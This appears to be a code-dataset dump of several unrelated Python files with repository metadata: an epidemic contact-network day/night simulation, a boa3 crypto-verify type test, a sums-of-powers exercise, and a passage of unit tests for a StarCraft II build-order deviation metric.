night_set(Graphs_matrix,hh_occupation=0.7): # load networks matrix_household = Graphs_matrix[0] hh_row = np.asarray(np2.asarray(matrix_household[0])) hh_col = np.asarray(np2.asarray(matrix_household[1])) hh_data = np.asarray(np2.asarray(matrix_household[2])) matrix_preschool = Graphs_matrix[1] preschl_row = np.asarray(np2.asarray(matrix_preschool[0])) preschl_col = np.asarray(np2.asarray(matrix_preschool[1])) preschl_data = np.asarray(np2.asarray(matrix_preschool[2])) matrix_primary = Graphs_matrix[2] primary_row = np.asarray(np2.asarray(matrix_primary[0])) primary_col = np.asarray(np2.asarray(matrix_primary[1])) primary_data = np.asarray(np2.asarray(matrix_primary[2])) matrix_highschool = Graphs_matrix[3] highschl_row = np.asarray(np2.asarray(matrix_highschool[0])) highschl_col = np.asarray(np2.asarray(matrix_highschool[1])) highschl_data = np.asarray(np2.asarray(matrix_highschool[2])) matrix_work = Graphs_matrix[4] work_row = np.asarray(np2.asarray(matrix_work[0])) work_col = np.asarray(np2.asarray(matrix_work[1])) work_data = np.asarray(np2.asarray(matrix_work[2])) matrix_community = Graphs_matrix[5] comm_row = np.asarray(np2.asarray(matrix_community[0])) comm_col = np.asarray(np2.asarray(matrix_community[1])) comm_data = np.asarray(np2.asarray(matrix_community[2])) # turn off school and work layers preschl_data_set = 0*preschl_data primary_data_set = 0*primary_data highschl_data_set = 0*highschl_data work_data_set = 0*work_data # turn on portions of households and community comm_occupation = 1 - hh_occupation length = int(hh_data.shape[0]/2) hh_data_select = np.repeat( random.bernoulli(random.PRNGKey(0),p=(hh_occupation), shape=(length,)), 2) hh_data_set = hh_data_select.reshape(hh_data_select.shape[0],1)*hh_data length = int(comm_data.shape[0]/2) comm_data_select = np.repeat( random.bernoulli(random.PRNGKey(0),p=(comm_occupation), shape=(length,)), 2) comm_data_set = comm_data_select.reshape(comm_data_select.shape[0],1)*comm_data # create conections args_ps = (hh_data_set,preschl_data_set,primary_data_set,highschl_data_set,work_data_set,comm_data_set) ps = np.concatenate(args_ps); ps = ps.reshape(ps.shape[0],) args_rows = (hh_row,preschl_row,primary_row,highschl_row,work_row,comm_row) rows = np.concatenate(args_rows) args_cols = (hh_col,preschl_col,primary_col,highschl_col,work_col,comm_col) cols = np.concatenate(args_cols) w = [rows.astype(np.int32),cols.astype(np.int32),ps] return w def create_day_dynamics(Graphs_matrix,Tmax,total_steps,partitions=[8,8,8]): ''' A day is devided in 3 partitions with consists of sets of hours over a day partition[0] -> morning: only a % of households and community is activated partition[1] -> evening: only work and school layers are activated partition[2] -> night: only a % of households and community is activated delta_t -> steps over a day ''' # Hours distribution in a day if sum(partitions) != 24: print('Partitions must sum the total of hours in a day (24h)') steps_per_days = int(total_steps/Tmax) m_day = int(steps_per_days*(partitions[0]/24)) e_day = int(steps_per_days*(partitions[1]/24)) n_day = int(steps_per_days*(partitions[2]/24)) days_intervals = [m_day, e_day, n_day] m_w = morning_set(Graphs_matrix) e_w = day_set(Graphs_matrix) n_w = night_set(Graphs_matrix) w_intervals = [m_w,e_w,n_w] sim_intervals = [] # iterations per network set w sim_ws = [] # networks per iteration for d in range(Tmax): sim_intervals.extend(days_intervals) sim_ws.extend(w_intervals) return sim_intervals, sim_ws
40.189655
107
0.706778
1,389
9,324
4.470842
0.086393
0.078261
0.104348
0.165217
0.876973
0.876973
0.849919
0.849919
0.837037
0.837037
0
0.028077
0.174925
9,324
231
108
40.363636
0.77915
0.076791
0
0.83871
0
0
0.006192
0
0
0
0
0
0
1
0.025806
false
0
0.025806
0
0.077419
0.006452
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
f5cbf38935e885314d4ade0366203bbb88864047
45
py
Python
src/terminal/__init__.py
gvb84/term-emu
ef38abb0d45f0368666112642114a24ad2bb15ad
[ "BSD-3-Clause" ]
5
2019-04-17T19:17:59.000Z
2021-02-17T08:36:28.000Z
src/terminal/__init__.py
gvb84/term-emu
ef38abb0d45f0368666112642114a24ad2bb15ad
[ "BSD-3-Clause" ]
null
null
null
src/terminal/__init__.py
gvb84/term-emu
ef38abb0d45f0368666112642114a24ad2bb15ad
[ "BSD-3-Clause" ]
6
2018-12-16T23:38:52.000Z
2021-07-02T10:56:17.000Z
from . import emulator from . import driver
11.25
22
0.755556
6
45
5.666667
0.666667
0.588235
0
0
0
0
0
0
0
0
0
0
0.2
45
3
23
15
0.944444
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
eb026698f77e44a7865acf039f987c1671916e6e
145
py
Python
boa3_test/test_sc/interop_test/crypto/VerifyWithECDsaSecp256k1MismatchedType.py
hal0x2328/neo3-boa
6825a3533384cb01660773050719402a9703065b
[ "Apache-2.0" ]
null
null
null
boa3_test/test_sc/interop_test/crypto/VerifyWithECDsaSecp256k1MismatchedType.py
hal0x2328/neo3-boa
6825a3533384cb01660773050719402a9703065b
[ "Apache-2.0" ]
null
null
null
boa3_test/test_sc/interop_test/crypto/VerifyWithECDsaSecp256k1MismatchedType.py
hal0x2328/neo3-boa
6825a3533384cb01660773050719402a9703065b
[ "Apache-2.0" ]
null
null
null
from boa3.builtin.interop.crypto import verify_with_ecdsa_secp256k1 def Main(): verify_with_ecdsa_secp256k1('unit test', 10, b'signature')
24.166667
67
0.793103
21
145
5.190476
0.809524
0.183486
0.275229
0.440367
0
0
0
0
0
0
0
0.085271
0.110345
145
5
68
29
0.75969
0
0
0
0
0
0.124138
0
0
0
0
0
0
1
0.333333
true
0
0.333333
0
0.666667
0
1
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
1
0
0
0
0
7
eb18ef72ebf6d5010835a4fd690350f92dd5ee5d
1,994
py
Python
prog_praxis/sums_of_powers.py
genos/online_problems
324597e8b64d74ad96dbece551a8220a1b61e615
[ "MIT" ]
1
2020-07-17T13:15:21.000Z
2020-07-17T13:15:21.000Z
prog_praxis/sums_of_powers.py
genos/online_problems
324597e8b64d74ad96dbece551a8220a1b61e615
[ "MIT" ]
null
null
null
prog_praxis/sums_of_powers.py
genos/online_problems
324597e8b64d74ad96dbece551a8220a1b61e615
[ "MIT" ]
null
null
null
#!/usr/bin/env python import numpy as np from fractions import Fraction from operator import mul def a_t(n): A = np.zeros(shape=(n + 1, n + 1), dtype=Fraction) for j in xrange(n + 1): A[0, j] = Fraction(1, j + 1) for i in xrange(1, n + 1): for j in xrange(n - i + 1): A[i, j] = (j + 1) * (A[i - 1, j] - A[i - 1, j + 1]) return A def b(n): return a_t(n)[n, 0] def c(n, k): num = reduce(mul, xrange(n - k + 1, n + 1), 1) denom = reduce(mul, xrange(1, k + 1), 1) return num / denom def s_naive(m, n): return sum(pow(k, m) for k in xrange(1, n + 1)) def s(m, n): s = sum(c(m + 1, k) * b(k) * pow(n, m + 1 - k) for k in xrange(m + 1)) return s // (m + 1) if __name__ == "__main__": print b(18) print a_t(18)[:, 0] print s_naive(10, 3) print s(10, 3) print s_naive(10, 1000) print s(10, 1000) """ I used this as an opportunity to play with NumPy's (http://numpy.scipy.org/) n-dimensional arrays. Also uses the fractions module for rational numbers. [sourcecode lang="python"] #!/usr/bin/env python import numpy as np from fractions import Fraction from operator import mul def a_t(n): A = np.zeros(shape=(n + 1, n + 1), dtype=Fraction) for j in xrange(n + 1): A[0, j] = Fraction(1, j + 1) for i in xrange(1, n + 1): for j in xrange(n - i + 1): A[i, j] = (j + 1) * (A[i - 1, j] - A[i - 1, j + 1]) return A def b(n): return a_t(n)[n][0] def c(n, k): num = reduce(mul, xrange(n - k + 1, n + 1), 1) denom = reduce(mul, xrange(1, k + 1), 1) return num / denom def s_naive(m, n): return sum(pow(k, m) for k in xrange(1, n + 1)) def s(m, n): s = sum(c(m + 1, k) * b(k) * pow(n, m + 1 - k) for k in xrange(m + 1)) return s // (m + 1) if __name__ == "__main__": print b(18) print a_t(18)[:, 0] print s_naive(10, 3) print s(10, 3) print s_naive(10, 1000) print s(10, 1000) [/sourcecode] """
21.212766
76
0.533099
390
1,994
2.653846
0.171795
0.023188
0.023188
0.046377
0.856039
0.856039
0.856039
0.856039
0.856039
0.856039
0
0.069405
0.291876
1,994
93
77
21.44086
0.663598
0.01003
0
0
0
0
0.009122
0
0
0
0
0
0
0
null
null
0
0.103448
null
null
0.206897
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
7
de239d3ef0f0a396fd598e27048d2d6ccf69a273
36,389
py
Python
tests/unit/test_bod.py
matthewj8489/Starcraft2Metrics
5156434bc22d25cc005c83e22ac4b3423ee40355
[ "MIT" ]
4
2019-10-06T01:16:36.000Z
2020-12-23T21:01:55.000Z
tests/unit/test_bod.py
matthewj8489/Starcraft2Metrics
5156434bc22d25cc005c83e22ac4b3423ee40355
[ "MIT" ]
3
2019-03-09T17:26:43.000Z
2020-04-12T18:19:35.000Z
tests/unit/test_bod.py
matthewj8489/Starcraft2Metrics
5156434bc22d25cc005c83e22ac4b3423ee40355
[ "MIT" ]
null
null
null
import os import sys if __name__ == '__main__': sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), os.pardir, os.pardir))) if sys.version_info[:2] < (2, 7): import unittest2 as unittest else: import unittest import metrics from metrics.bod import BuildOrderDeviation from metrics.metric_containers import * import metrics.unit_constants as uc class TestBuildOrderDeviation(unittest.TestCase): #region time_deviation def test_time_deviation_calculated_correctly_when_late_on_time(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Assimilator', 15, 60, 200)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) self.assertEqual(bo_dev.time_dev, 10) def test_time_deviation_calculated_correctly_when_early_on_time(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Assimilator', 15, 40, 200)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) self.assertEqual(bo_dev.time_dev, 10) def test_time_deviation_calculated_correctly_when_no_time_deviation(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) compare_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) self.assertEqual(bo_dev.time_dev, 0) def test_time_deviation_calculated_correctly_when_build_order_deviation_occurred(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(3, 'Pylon', 16, 60, 220)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) self.assertEqual(bo_dev.time_dev, 40) def test_time_deviation_calculated_correctly_when_build_is_missing_element(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Assimilator', 15, 50, 200)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) #self.assertEqual(bo_dev.time_dev, 30) self.assertEqual(bo_dev.time_dev, 0) def test_time_deviation_isnt_affected_when_build_order_deviates_by_more_than_20(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(23, 'Pylon', 14, 25, 90)) compare_bo.append(BuildOrderElement(24, 'Assimilator', 15, 50, 200)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) #self.assertEqual(bo_dev.time_dev, 30) self.assertEqual(bo_dev.time_dev, 0) def test_time_deviation_isnt_affected_when_build_order_deviates_by_more_than_20_beyond_last_build_unit(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(24, 'Pylon', 14, 20, 90)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) #self.assertEqual(bo_dev.time_dev, 30) self.assertEqual(bo_dev.time_dev, 0) #endregion #region dev_array def test_dev_arr_is_correct_size_when_build_order_is_correct(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) compare_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) self.assertEqual(3, len(bo_dev.bode_arr)) #endregion #region depth_build_num_limitor def test_build_order_comparison_is_limited_when_setting_build_num_limitor(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) compare_bo.append(BuildOrderElement(3, 'Assimilator', 16, 51, 201)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo, depth=2) self.assertEqual(bo_dev.dev, 0) self.assertEqual(bo_dev.discrepency, 0) def test_depth_when_depth_is_greater_than_compare_bo(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo, depth=3) self.assertEqual(bo_dev.dev, 0) self.assertEqual(bo_dev.discrepency, 1) def test_depth_when_depth_is_greater_than_bench_bo(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) compare_bo.append(BuildOrderElement(3, 'Assimilator', 16, 51, 201)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo, depth=3) self.assertEqual(bo_dev.dev, 0) self.assertEqual(bo_dev.discrepency, 0) #endregion #region order_dev def test_order_deviation_calculated_correctly_when_no_deviation(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Assimilator', 15, 50, 200)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) self.assertEqual(bo_dev.order_dev, 0) def test_order_deviation_calculated_correctly_when_build_order_deviation_occurred(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(3, 'Pylon', 16, 60, 220)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) self.assertEqual(bo_dev.order_dev, 2) def test_order_deviation_calculated_correctly_when_build_is_missing_element(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Assimilator', 15, 50, 200)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) self.assertEqual(bo_dev.order_dev, 0) def test_order_deviation_isnt_affected_when_build_order_deviates_by_more_than_20(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(23, 'Pylon', 14, 25, 90)) compare_bo.append(BuildOrderElement(24, 'Assimilator', 15, 50, 200)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) self.assertEqual(bo_dev.order_dev, 0) def test_order_deviation_isnt_affected_when_build_order_deviates_by_more_than_20_beyond_last_build_unit(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(24, 'Pylon', 14, 20, 90)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) self.assertEqual(bo_dev.order_dev, 0) #endregion #region tag_order_dev def test_tag_order_dev_is_not_incremented_when_units_do_not_differ(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) compare_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) self.assertEqual(bo_dev.tag_order_dev[uc.BUILDING_TAG], 0) self.assertEqual(bo_dev.tag_order_dev[uc.SUPPLY_TAG], 0) def test_tag_order_dev_is_incremented_when_units_with_tags_have_orders_that_differ(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(3, 'Pylon', 14, 20, 90)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) self.assertEqual(bo_dev.tag_order_dev[uc.BUILDING_TAG], 2) self.assertEqual(bo_dev.tag_order_dev[uc.SUPPLY_TAG], 1) def test_tag_order_dev_is_incremented_when_multiple_elements_with_the_same_tag_have_differing_order(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(3, 'Pylon', 14, 20, 90)) compare_bo.append(BuildOrderElement(4, 'Assimilator', 15, 50, 200)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) self.assertEqual(bo_dev.tag_order_dev[uc.BUILDING_TAG], 2) #endregion #region discrepencies def test_discrepencies_when_not_missing_build_order_units(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) compare_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) self.assertEqual(bo_dev.discrepency, 0) def test_discrepencies_when_missing_build_order_units(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Assimilator', 15, 50, 200)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo, depth=3) self.assertEqual(bo_dev.discrepency, 1) def test_discrepencies_are_none_when_additional_build_order_units_are_present_beyond_bench_bo(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) compare_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(4, 'Pylon', 16, 51, 201)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) self.assertEqual(bo_dev.discrepency, 0) def test_discrepencies_when_additional_build_order_units_are_present(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) compare_bo.append(BuildOrderElement(3, 'Pylon', 14, 25, 100)) compare_bo.append(BuildOrderElement(4, 'Assimilator', 15, 50, 200)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) self.assertEqual(bo_dev.discrepency, 1) #endregion #region unit_totals def test_unit_totals_are_calculated_correctly_for_bench(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) bo_dev = BuildOrderDeviation(golden_bo) golden_totals = bo_dev.get_unit_totals() self.assertEqual(golden_totals['Probe'], 1) self.assertEqual(golden_totals['Pylon'], 1) self.assertEqual(golden_totals['Assimilator'], 1) def test_unit_totals_are_calculated_correctly_for_any_build_order(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) compare_bo.append(BuildOrderElement(3, 'Pylon', 14, 25, 100)) compare_bo.append(BuildOrderElement(4, 'Assimilator', 15, 50, 200)) bo_dev = BuildOrderDeviation(golden_bo) compare_totals = bo_dev.get_unit_totals(bo=compare_bo) self.assertEqual(compare_totals['Probe'], 1) self.assertEqual(compare_totals['Pylon'], 2) self.assertEqual(compare_totals['Assimilator'], 1) def test_unit_totals_are_correct_when_using_depth(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) golden_bo.append(BuildOrderElement(4, 'Pylon', 15, 60, 220)) bo_dev = BuildOrderDeviation(golden_bo) golden_totals = bo_dev.get_unit_totals(depth=3) self.assertEqual(golden_totals['Probe'], 1) self.assertEqual(golden_totals['Pylon'], 1) self.assertEqual(golden_totals['Assimilator'], 1) def test_unit_totals_do_not_include_units_with_zero_totals_when_using_depth(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) golden_bo.append(BuildOrderElement(4, 'Pylon', 15, 60, 220)) golden_bo.append(BuildOrderElement(5, 'Zealot', 15, 70, 240)) bo_dev = BuildOrderDeviation(golden_bo) golden_totals = bo_dev.get_unit_totals(depth=3) self.assertFalse('Zealot' in golden_totals) #endregion #region time_dev_plus def test_time_dev_p_is_correct_when_build_unit_is_missing(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Assimilator', 15, 55, 205)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) self.assertEqual(bo_dev.time_dev_p, 30) def test_time_dev_p_is_zero_when_build_unit_is_not_missing(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Pylon', 14, 25, 95)) compare_bo.append(BuildOrderElement(3, 'Assimilator', 15, 55, 205)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) self.assertEqual(bo_dev.time_dev_p, 0) def test_time_dev_p_is_correct_when_build_unit_is_not_missing_but_greater_than_ORDER_DEV_GRACE(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) compare_bo.append(BuildOrderElement(2, 'Assimilator', 16, 55, 205)) compare_bo.append(BuildOrderElement(23, 'Pylon', 17, 65, 215)) bo_dev = BuildOrderDeviation(golden_bo) bo_dev.calculate_deviations(compare_bo) self.assertEqual(bo_dev.time_dev_p, 30) #endregion #region order_dev_plus def test_order_dev_p_is_correct_when_build_unit_is_missing(self): golden_bo = [] compare_bo = [] golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0)) golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90)) golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200)) compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 